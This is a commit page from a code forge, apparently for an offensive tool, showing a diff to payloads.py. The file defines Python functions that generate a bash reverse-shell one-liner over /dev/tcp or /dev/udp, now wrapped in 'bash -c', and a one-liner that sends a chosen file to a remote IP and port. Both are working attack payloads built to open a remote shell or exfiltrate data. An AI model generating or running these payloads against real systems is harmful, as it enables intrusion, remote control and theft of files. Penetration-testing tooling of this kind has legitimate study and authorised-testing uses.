Update payloads.py

main
witchdocsec 2023-06-12 17:57:34 +01:00 committed by GitHub
parent cc48c09d87
commit ddfca75865
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 1 deletions

View File

@ -1,7 +1,7 @@
class Shells:
class Rev:
def bash(ip,port,shell,protocol):
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\";"
class Exfil:
def socket(ip,port,file):
return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
@ -10,3 +10,4 @@ class Exfil: